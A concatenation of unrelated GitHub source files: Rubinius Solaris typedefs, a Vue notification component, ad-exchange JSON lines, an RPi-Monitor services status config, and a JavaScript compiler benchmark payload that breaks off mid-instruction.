rbx.platform.typedef.uintptr_t = uint
rbx.platform.typedef.int_fast8_t = char
rbx.platform.typedef.int_fast16_t = int
rbx.platform.typedef.int_fast32_t = int
rbx.platform.typedef.int_fast64_t = long_long
rbx.platform.typedef.uint_fast8_t = uchar
rbx.platform.typedef.uint_fast16_t = uint
rbx.platform.typedef.uint_fast32_t = uint
rbx.platform.typedef.uint_fast64_t = ulong_long
rbx.platform.typedef.int_least8_t = char
rbx.platform.typedef.int_least16_t = short
rbx.platform.typedef.int_least32_t = int
rbx.platform.typedef.int_least64_t = long_long
rbx.platform.typedef.uint_least8_t = uchar
rbx.platform.typedef.uint_least16_t = ushort
rbx.platform.typedef.uint_least32_t = uint
rbx.platform.typedef.uint_least64_t = ulong_long
rbx.platform.typedef.longlong_t = long_long
rbx.platform.typedef.u_longlong_t = ulong_long
rbx.platform.typedef.t_scalar_t = long
rbx.platform.typedef.t_uscalar_t = ulong
rbx.platform.typedef.uchar_t = uchar
rbx.platform.typedef.ushort_t = ushort
rbx.platform.typedef.uint_t = uint
rbx.platform.typedef.ulong_t = ulong
rbx.platform.typedef.*caddr_t = char
rbx.platform.typedef.daddr_t = long
rbx.platform.typedef.cnt_t = short
rbx.platform.typedef.ptrdiff_t = int
rbx.platform.typedef.pfn_t = ulong
rbx.platform.typedef.pgcnt_t = ulong
rbx.platform.typedef.spgcnt_t = long
rbx.platform.typedef.use_t = uchar
rbx.platform.typedef.sysid_t = short
rbx.platform.typedef.index_t = short
rbx.platform.typedef.off_t = long_long
rbx.platform.typedef.off64_t = long_long
rbx.platform.typedef.ino_t = ulong_long
rbx.platform.typedef.blkcnt_t = long_long
rbx.platform.typedef.fsblkcnt_t = ulong_long
rbx.platform.typedef.fsfilcnt_t = ulong_long
rbx.platform.typedef.ino64_t = ulong_long
rbx.platform.typedef.blkcnt64_t = long_long
rbx.platform.typedef.fsblkcnt64_t = ulong_long
rbx.platform.typedef.fsfilcnt64_t = ulong_long
rbx.platform.typedef.blksize_t = long
rbx.platform.typedef.pad64_t = long_long
rbx.platform.typedef.upad64_t = ulong_long
rbx.platform.typedef.offset_t = long_long
rbx.platform.typedef.u_offset_t = ulong_long
rbx.platform.typedef.len_t = ulong_long
rbx.platform.typedef.diskaddr_t = ulong_long
rbx.platform.typedef.k_fltset_t = uint
rbx.platform.typedef.id_t = long
rbx.platform.typedef.useconds_t = uint
rbx.platform.typedef.suseconds_t = long
rbx.platform.typedef.major_t = ulong
rbx.platform.typedef.minor_t = ulong
rbx.platform.typedef.pri_t = short
rbx.platform.typedef.cpu_flag_t = ushort
rbx.platform.typedef.o_mode_t = ushort
rbx.platform.typedef.o_dev_t = short
rbx.platform.typedef.o_uid_t = ushort
rbx.platform.typedef.o_gid_t = ushort
rbx.platform.typedef.o_nlink_t = short
rbx.platform.typedef.o_pid_t = short
rbx.platform.typedef.o_ino_t = ushort
rbx.platform.typedef.key_t = int
rbx.platform.typedef.mode_t = ulong
rbx.platform.typedef.uid_t = long
rbx.platform.typedef.gid_t = long
rbx.platform.typedef.taskid_t = long
rbx.platform.typedef.projid_t = long
rbx.platform.typedef.poolid_t = long
rbx.platform.typedef.zoneid_t = long
rbx.platform.typedef.ctid_t = long
rbx.platform.typedef.pthread_t = uint
rbx.platform.typedef.pthread_key_t = uint
rbx.platform.typedef.dev_t = ulong
rbx.platform.typedef.nlink_t = ulong
rbx.platform.typedef.pid_t = long
rbx.platform.typedef.size_t = uint
rbx.platform.typedef.ssize_t = int
rbx.platform.typedef.time_t = long
rbx.platform.typedef.clock_t = long
rbx.platform.typedef.clockid_t = int
rbx.platform.typedef.timer_t = int
rbx.platform.typedef.unchar = uchar
rbx.platform.typedef.ushort = ushort
rbx.platform.typedef.uint = uint
rbx.platform.typedef.ulong = ulong
rbx.platform.typedef.u_char = uchar
rbx.platform.typedef.u_short = ushort
rbx.platform.typedef.u_int = uint
rbx.platform.typedef.u_long = ulong
rbx.platform.typedef.hrtime_t = long_long
rbx.platform.typedef.fd_mask = long
rbx.platform.typedef.fds_mask = long
rbx.platform.typedef.sa_family_t = ushort
rbx.platform.typedef.socklen_t = uint
rbx.platform.typedef.Psocklen_t = pointer
rbx.platform.typedef.disp_lock_t = uchar
rbx.platform.typedef.rlim_t = ulong_long
rbx.platform.typedef.rlim64_t = ulong_long
rbx.platform.typedef.kid_t = int
rbx.platform.typedef.int) = pointer
rbx.platform.typedef.size_t) = pointer
rbx.platform.typedef.int) = pointer
rbx.platform.typedef.avl_index_t = uint
rbx.platform.typedef.() = pointer
rbx.platform.typedef.nfds_t = ulong
rbx.platform.typedef.model_t = uint
rbx.platform.typedef.ts_t = long_long
rbx.platform.typedef.in_port_t = ushort
rbx.platform.typedef.in_addr_t = uint
rbx.platform.typedef.ipaddr_t = uint
|
{
"pile_set_name": "Github"
}
|
<template>
<div class="dp-notification" :class="notification.type">
<dp-avatar class="avatar" :user="notification.user"/>
<div class="icon" :class="notification.type">
<fa :icon="faPlus" v-if="notification.type === 'follow'"/>
<fa :icon="faClock" v-if="notification.type === 'receiveFollowRequest'"/>
<fa :icon="faRetweet" v-if="notification.type === 'renote'"/>
<fa :icon="faReply" v-if="notification.type === 'reply'"/>
<fa :icon="faAt" v-if="notification.type === 'mention'"/>
<fa :icon="faQuoteLeft" v-if="notification.type === 'quote'"/>
<x-reaction-icon v-if="notification.type === 'reaction'" :reaction="notification.reaction" :no-style="true"/>
</div>
<header>
<router-link class="name" :to="notification.user | userPage"><dp-user-name :user="notification.user"/></router-link>
<dp-time :time="notification.createdAt" v-if="withTime"/>
</header>
<router-link v-if="notification.type === 'reaction'" class="text" :to="notification.note | notePage" :title="getNoteSummary(notification.note)">
<fa :icon="faQuoteLeft"/>
<mfm :text="getNoteSummary(notification.note)" :plain="true" :nowrap="true" :custom-emojis="notification.note.emojis"/>
<fa :icon="faQuoteRight"/>
</router-link>
<router-link v-if="notification.type === 'renote'" class="text" :to="notification.note | notePage" :title="getNoteSummary(notification.note.renote)">
<fa :icon="faQuoteLeft"/>
<mfm :text="getNoteSummary(notification.note.renote)" :plain="true" :nowrap="true" :custom-emojis="notification.note.renote.emojis"/>
<fa :icon="faQuoteRight"/>
</router-link>
<router-link v-if="notification.type === 'reply'" class="text" :to="notification.note | notePage" :title="getNoteSummary(notification.note)">
<mfm :text="getNoteSummary(notification.note)" :plain="true" :nowrap="true" :custom-emojis="notification.note.emojis"/>
</router-link>
<router-link v-if="notification.type === 'mention'" class="text" :to="notification.note | notePage" :title="getNoteSummary(notification.note)">
<mfm :text="getNoteSummary(notification.note)" :plain="true" :nowrap="true" :custom-emojis="notification.note.emojis"/>
</router-link>
<router-link v-if="notification.type === 'quote'" class="text" :to="notification.note | notePage" :title="getNoteSummary(notification.note)">
<mfm :text="getNoteSummary(notification.note)" :plain="true" :nowrap="true" :custom-emojis="notification.note.emojis"/>
</router-link>
<span v-if="notification.type === 'follow'" class="text" style="opacity: 0.6;">{{ $t('youGotNewFollower') }}</span>
<span v-if="notification.type === 'receiveFollowRequest'" class="text" style="opacity: 0.6;">{{ $t('receiveFollowRequest') }}</span>
</div>
</template>
<script lang="ts">
import Vue from 'vue';
import { faPlus, faQuoteLeft, faQuoteRight, faRetweet, faReply, faAt } from '@fortawesome/free-solid-svg-icons';
import { faClock } from '@fortawesome/free-regular-svg-icons';
import getNoteSummary from '../../misc/get-note-summary';
import XReactionIcon from './reaction-icon.vue';
export default Vue.extend({
components: {
XReactionIcon
},
props: {
notification: {
type: Object,
required: true,
},
withTime: {
type: Boolean,
required: false,
default: false,
}
},
data() {
return {
getNoteSummary,
faPlus, faQuoteLeft, faQuoteRight, faRetweet, faReply, faAt, faClock
};
},
});
</script>
<style lang="scss" scoped>
.dp-notification {
position: relative;
height: 66px;
box-sizing: border-box;
padding: 12px;
font-size: 13px;
overflow-wrap: break-word;
&:after {
content: "";
display: block;
clear: both;
}
> .avatar {
display: block;
width: 42px;
height: 42px;
border-radius: 6px;
}
> .icon {
position: absolute;
z-index: 1;
top: 36px;
left: 36px;
width: 20px;
height: 20px;
box-sizing: border-box;
border-radius: 100%;
background: var(--bg);
box-shadow: 0 0 0 3px var(--bg);
font-size: 12px;
> * {
color: #fff;
width: 100%;
height: 100%;
}
&.follow {
padding: 3px;
background: #36aed2;
}
&.receiveFollowRequest {
padding: 3px;
background: #36aed2;
}
&.retweet {
padding: 3px;
background: #36d298;
}
&.quote {
padding: 3px;
background: #36d298;
}
&.reply {
padding: 3px;
background: #007aff;
}
&.mention {
padding: 3px;
background: #88a6b7;
}
}
> header {
position: absolute;
top: 14px;
left: 62px;
display: flex;
align-items: baseline;
white-space: nowrap;
width: calc(100% - 76px);
line-height: 16px;
> .name {
text-overflow: ellipsis;
white-space: nowrap;
min-width: 0;
overflow: hidden;
}
> .dp-time {
margin-left: auto;
font-size: 0.9em;
}
}
> .text {
position: absolute;
top: 33px;
left: 62px;
width: calc(100% - 76px);
line-height: 16px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
> [data-icon] {
vertical-align: super;
font-size: 50%;
opacity: 0.5;
}
> [data-icon]:first-child {
margin-right: 4px;
}
> [data-icon]:last-child {
margin-left: 4px;
}
}
}
</style>
|
{
"pile_set_name": "Github"
}
|
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3232235777,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Rubycon"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":2130706433,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"Appnexus"}
{"ip":3221291266,"exchange_id":"Rubycon"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"Rubycon"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3221291266,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Rubycon"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3232235777,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"Rubycon"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3221291265,"exchange_id":"OpenX"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3221291266,"exchange_id":"Appnexus"}
{"ip":3232235777,"exchange_id":"Rubycon"}
{"ip":3221291265,"exchange_id":"Adx"}
{"ip":2130706433,"exchange_id":"OpenX"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3221291266,"exchange_id":"Adx"}
{"ip":3232235777,"exchange_id":"Adx"}
|
{
"pile_set_name": "Github"
}
|
########################################################################
# Extract information about Services
#
########################################################################
dynamic.1.name=kodi_desc
dynamic.1.source=service kodi status | grep "kodi.service - "
dynamic.1.regexp=- (.*)
dynamic.2.name=kodi_act
dynamic.2.source=service kodi status | grep "Active: "
dynamic.2.regexp=(\(.*\))
dynamic.3.name=kodi_runtime
dynamic.3.source=service kodi status | grep "Active: "
dynamic.3.regexp=; (.*)
dynamic.4.name=rpimonitor_desc
dynamic.4.source=service rpimonitor status | grep "rpimonitor.service -"
dynamic.4.regexp=- (.*)
dynamic.5.name=rpimonitor_act
dynamic.5.source=service rpimonitor status | grep "Active: "
dynamic.5.regexp=(\(.*\))
dynamic.6.name=rpimonitor_runtime
dynamic.6.source=service rpimonitor status | grep "Active: "
dynamic.6.regexp=; (.*)
dynamic.7.name=smbd_desc
dynamic.7.source=service smbd status | grep "smbd.service - "
dynamic.7.regexp=- (.*)
dynamic.8.name=smbd_act
dynamic.8.source=service smbd status | grep "Active: "
dynamic.8.regexp=(\(.*\))
dynamic.9.name=smbd_runtime
dynamic.9.source=service smbd status | grep "Active: "
dynamic.9.regexp=; (.*)
dynamic.10.name=sslocal_desc
dynamic.10.source=service sslocal status | grep "sslocal.service - "
dynamic.10.regexp=- (.*)
dynamic.11.name=sslocal_act
dynamic.11.source=service sslocal status | grep "Active: "
dynamic.11.regexp=(\(.*\))
dynamic.12.name=sslocal_runtime
dynamic.12.source=service sslocal status | grep "Active: "
dynamic.12.regexp=; (.*)
dynamic.13.name=ssh_desc
dynamic.13.source=service ssh status | grep "ssh.service - "
dynamic.13.regexp=- (.*)
dynamic.14.name=ssh_act
dynamic.14.source=service ssh status | grep "Active: "
dynamic.14.regexp=(\(.*\))
dynamic.15.name=ssh_runtime
dynamic.15.source=service ssh status | grep "Active: "
dynamic.15.regexp=; (.*)
dynamic.16.name=xrdp_desc
dynamic.16.source=service xrdp status | grep "xrdp.service - "
dynamic.16.regexp=- (.*)
dynamic.17.name=xrdp_act
dynamic.17.source=service xrdp status | grep "Active: "
dynamic.17.regexp=(\(.*\))
dynamic.18.name=xrdp_runtime
dynamic.18.source=service xrdp status | grep "Active: "
dynamic.18.regexp=; (.*)
dynamic.19.name=deluge_daemon_desc
dynamic.19.source=service deluge-daemon status | grep "deluge-daemon.service - "
dynamic.19.regexp=- (.*)
dynamic.20.name=deluge_daemon_act
dynamic.20.source=service deluge-daemon status | grep "Active: "
dynamic.20.regexp=(\(.*\))
dynamic.21.name=deluge_daemon_runtime
dynamic.21.source=service deluge-daemon status | grep "Active: "
dynamic.21.regexp=; (.*)
web.status.1.content.1.title="Services"
web.status.1.content.1.icon=daemons.png
web.status.1.content.1.line.1="<style type=\"text/css\">.tg331 {border-collapse:collapse;border-spacing:0;}.tg331 tr:nth-child(even){background-color: #f2f2f2}.tg331 table{border: 0px solid #e9e9e9;}.tg331 td{font-family:Arial, sans-serif;font-size:14px;padding:12px 2px;border-style:solid;border-width:0px;overflow:hidden;word-break:normal;}.tg331 th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:12px 2px;border-style:solid;border-width:0px;overflow:hidden;word-break:normal;}.tg331 .tg331-yw4l{vertical-align:top;text-align: left;}.tg331 hr {display: block;margin-top: 0.5em;margin-bottom: 0.5em;margin-left: auto;margin-right: auto;border-style: inset; border-width: 1px;}</style><table width=\"100%\" class=\"tg331\"><tr><td><b>Status</b></td><td><b>Service Name</b></td><td><b>Service Description</b></td><td><b>Run Time</b></td></tr><tr><td>"+Label(data.kodi_act,"=='(running)'","OK","success")+Label(data.kodi_act,"!='(running)'","KO","danger")+"</td><td><b>kodi</b></td><td>" + data.kodi_desc + "</td><td>"+Label(data.kodi_act,"=='(running)'",data.kodi_runtime,"default")+Label(data.kodi_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.rpimonitor_act,"=='(running)'","OK","success")+Label(data.rpimonitor_act,"!='(running)'","KO","danger")+"</td><td><b>rpimonitor</b></td><td>" + data.rpimonitor_desc + "</td><td>"+Label(data.rpimonitor_act,"=='(running)'",data.rpimonitor_runtime,"default")+Label(data.rpimonitor_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.smbd_act,"=='(running)'","OK","success")+Label(data.smbd_act,"!='(running)'","KO","danger")+"</td><td><b>smbd</b></td><td>" + data.smbd_desc + "</td><td>"+Label(data.smbd_act,"=='(running)'",data.smbd_runtime,"default")+Label(data.smbd_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.sslocal_act,"=='(running)'","OK","success")+Label(data.sslocal_act,"!='(running)'","KO","danger")+"</td><td><b>sslocal</b></td><td>" + data.sslocal_desc + "</td><td>"+Label(data.sslocal_act,"=='(running)'",data.sslocal_runtime,"default")+Label(data.sslocal_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.ssh_act,"=='(running)'","OK","success")+Label(data.ssh_act,"!='(running)'","KO","danger")+"</td><td><b>SSH</b></td><td>" + data.ssh_desc + "</td><td>"+Label(data.ssh_act,"=='(running)'",data.ssh_runtime,"default")+Label(data.ssh_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.xrdp_act,"=='(running)'","OK","success")+Label(data.xrdp_act,"!='(running)'","KO","danger")+"</td><td><b>xrdp</b></td><td>" + data.xrdp_desc + "</td><td>"+Label(data.xrdp_act,"=='(running)'",data.xrdp_runtime,"default")+Label(data.xrdp_act,"!='(running)'","-","default")+"</td></tr><tr><td>"+Label(data.deluge_daemon_act,"=='(running)'","OK","success")+Label(data.deluge_daemon_act,"!='(running)'","KO","danger")+"</td><td><b>deluge_daemon</b></td><td>" + data.deluge_daemon_desc + "</td><td>"+Label(data.deluge_daemon_act,"=='(running)'",data.deluge_daemon_runtime,"default")+Label(data.deluge_daemon_act,"!='(running)'","-","default")+"</td></tr></table>"
|
{
"pile_set_name": "Github"
}
|
"use strict";
// Generated by Air::dumpAsJS from scanIdentifier#EPcFQe in Octane/typescript
function createPayloadTypescriptScanIdentifier()
{
let code = new Code();
let bb0 = code.addBlock();
let bb1 = code.addBlock();
let bb2 = code.addBlock();
let bb3 = code.addBlock();
let bb4 = code.addBlock();
let bb5 = code.addBlock();
let bb6 = code.addBlock();
let bb7 = code.addBlock();
let bb8 = code.addBlock();
let bb9 = code.addBlock();
let bb10 = code.addBlock();
let bb11 = code.addBlock();
let bb12 = code.addBlock();
let bb13 = code.addBlock();
let bb14 = code.addBlock();
let bb15 = code.addBlock();
let bb16 = code.addBlock();
let bb17 = code.addBlock();
let bb18 = code.addBlock();
let bb19 = code.addBlock();
let bb20 = code.addBlock();
let bb21 = code.addBlock();
let bb22 = code.addBlock();
let bb23 = code.addBlock();
let bb24 = code.addBlock();
let bb25 = code.addBlock();
let bb26 = code.addBlock();
let bb27 = code.addBlock();
let bb28 = code.addBlock();
let bb29 = code.addBlock();
let bb30 = code.addBlock();
let bb31 = code.addBlock();
let bb32 = code.addBlock();
let bb33 = code.addBlock();
let bb34 = code.addBlock();
let slot0 = code.addStackSlot(56, Locked);
let slot1 = code.addStackSlot(8, Spill);
let slot2 = code.addStackSlot(8, Spill);
let slot3 = code.addStackSlot(8, Spill);
let slot4 = code.addStackSlot(8, Spill);
let slot5 = code.addStackSlot(4, Spill);
let slot6 = code.addStackSlot(8, Spill);
let slot7 = code.addStackSlot(8, Spill);
let slot8 = code.addStackSlot(8, Spill);
let slot9 = code.addStackSlot(40, Locked);
slot9.setOffsetFromFP(-40);
let tmp98 = code.newTmp(GP);
let tmp97 = code.newTmp(GP);
let tmp96 = code.newTmp(GP);
let tmp95 = code.newTmp(GP);
let tmp94 = code.newTmp(GP);
let tmp93 = code.newTmp(GP);
let tmp92 = code.newTmp(GP);
let tmp91 = code.newTmp(GP);
let tmp90 = code.newTmp(GP);
let tmp89 = code.newTmp(GP);
let tmp88 = code.newTmp(GP);
let tmp87 = code.newTmp(GP);
let tmp86 = code.newTmp(GP);
let tmp85 = code.newTmp(GP);
let tmp84 = code.newTmp(GP);
let tmp83 = code.newTmp(GP);
let tmp82 = code.newTmp(GP);
let tmp81 = code.newTmp(GP);
let tmp80 = code.newTmp(GP);
let tmp79 = code.newTmp(GP);
let tmp78 = code.newTmp(GP);
let tmp77 = code.newTmp(GP);
let tmp76 = code.newTmp(GP);
let tmp75 = code.newTmp(GP);
let tmp74 = code.newTmp(GP);
let tmp73 = code.newTmp(GP);
let tmp72 = code.newTmp(GP);
let tmp71 = code.newTmp(GP);
let tmp70 = code.newTmp(GP);
let tmp69 = code.newTmp(GP);
let tmp68 = code.newTmp(GP);
let tmp67 = code.newTmp(GP);
let tmp66 = code.newTmp(GP);
let tmp65 = code.newTmp(GP);
let tmp64 = code.newTmp(GP);
let tmp63 = code.newTmp(GP);
let tmp62 = code.newTmp(GP);
let tmp61 = code.newTmp(GP);
let tmp60 = code.newTmp(GP);
let tmp59 = code.newTmp(GP);
let tmp58 = code.newTmp(GP);
let tmp57 = code.newTmp(GP);
let tmp56 = code.newTmp(GP);
let tmp55 = code.newTmp(GP);
let tmp54 = code.newTmp(GP);
let tmp53 = code.newTmp(GP);
let tmp52 = code.newTmp(GP);
let tmp51 = code.newTmp(GP);
let tmp50 = code.newTmp(GP);
let tmp49 = code.newTmp(GP);
let tmp48 = code.newTmp(GP);
let tmp47 = code.newTmp(GP);
let tmp46 = code.newTmp(GP);
let tmp45 = code.newTmp(GP);
let tmp44 = code.newTmp(GP);
let tmp43 = code.newTmp(GP);
let tmp42 = code.newTmp(GP);
let tmp41 = code.newTmp(GP);
let tmp40 = code.newTmp(GP);
let tmp39 = code.newTmp(GP);
let tmp38 = code.newTmp(GP);
let tmp37 = code.newTmp(GP);
let tmp36 = code.newTmp(GP);
let tmp35 = code.newTmp(GP);
let tmp34 = code.newTmp(GP);
let tmp33 = code.newTmp(GP);
let tmp32 = code.newTmp(GP);
let tmp31 = code.newTmp(GP);
let tmp30 = code.newTmp(GP);
let tmp29 = code.newTmp(GP);
let tmp28 = code.newTmp(GP);
let tmp27 = code.newTmp(GP);
let tmp26 = code.newTmp(GP);
let tmp25 = code.newTmp(GP);
let tmp24 = code.newTmp(GP);
let tmp23 = code.newTmp(GP);
let tmp22 = code.newTmp(GP);
let tmp21 = code.newTmp(GP);
let tmp20 = code.newTmp(GP);
let tmp19 = code.newTmp(GP);
let tmp18 = code.newTmp(GP);
let tmp17 = code.newTmp(GP);
let tmp16 = code.newTmp(GP);
let tmp15 = code.newTmp(GP);
let tmp14 = code.newTmp(GP);
let tmp13 = code.newTmp(GP);
let tmp12 = code.newTmp(GP);
let tmp11 = code.newTmp(GP);
let tmp10 = code.newTmp(GP);
let tmp9 = code.newTmp(GP);
let tmp8 = code.newTmp(GP);
let tmp7 = code.newTmp(GP);
let tmp6 = code.newTmp(GP);
let tmp5 = code.newTmp(GP);
let tmp4 = code.newTmp(GP);
let tmp3 = code.newTmp(GP);
let tmp2 = code.newTmp(GP);
let tmp1 = code.newTmp(GP);
let tmp0 = code.newTmp(GP);
let inst;
let arg;
bb0.successors.push(new FrequentedBlock(bb5, Normal));
bb0.successors.push(new FrequentedBlock(bb4, Normal));
inst = new Inst(Move);
arg = Arg.createBigImm(177329888, 1);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbp, 16);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbp);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.extraEarlyClobberedRegs.add(Reg.r11);
inst.extraClobberedRegs.add(Reg.r11);
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Scratch, type: GP, width: 64});
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbp, 40);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createBigImm(2, -65536);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createResCond(NonZero);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.r15);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(NotEqual);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbx, 5);
inst.args.push(arg);
arg = Arg.createImm(21);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 8});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 8});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb0.append(inst);
inst = new Inst(Patch);
arg = Arg.createSpecial();
inst.args.push(arg);
arg = Arg.createRelCond(NotEqual);
inst.args.push(arg);
arg = Arg.createAddr(Reg.rbx, 0);
inst.args.push(arg);
arg = Arg.createImm(2540);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rbx);
inst.args.push(arg);
inst.patchHasNonArgEffects = true;
inst.extraEarlyClobberedRegs = new Set();
inst.extraClobberedRegs = new Set();
inst.patchArgData = [];
inst.patchArgData.push({role: Arg.Use, type: GP, width: 64});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.Use, type: GP, width: 32});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
inst.patchArgData.push({role: Arg.ColdUse, type: GP, width: 64});
bb0.append(inst);
inst = new Inst(Move);
arg = Arg.createAddr(Reg.rbx, 72);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Compare32);
arg = Arg.createRelCond(Equal);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rax);
inst.args.push(arg);
arg = Arg.createImm(92);
inst.args.push(arg);
arg = Arg.createTmp(Reg.rcx);
inst.args.push(arg);
bb0.append(inst);
inst = new Inst(Move32);
arg = Arg.createTmp(Reg.rcx);
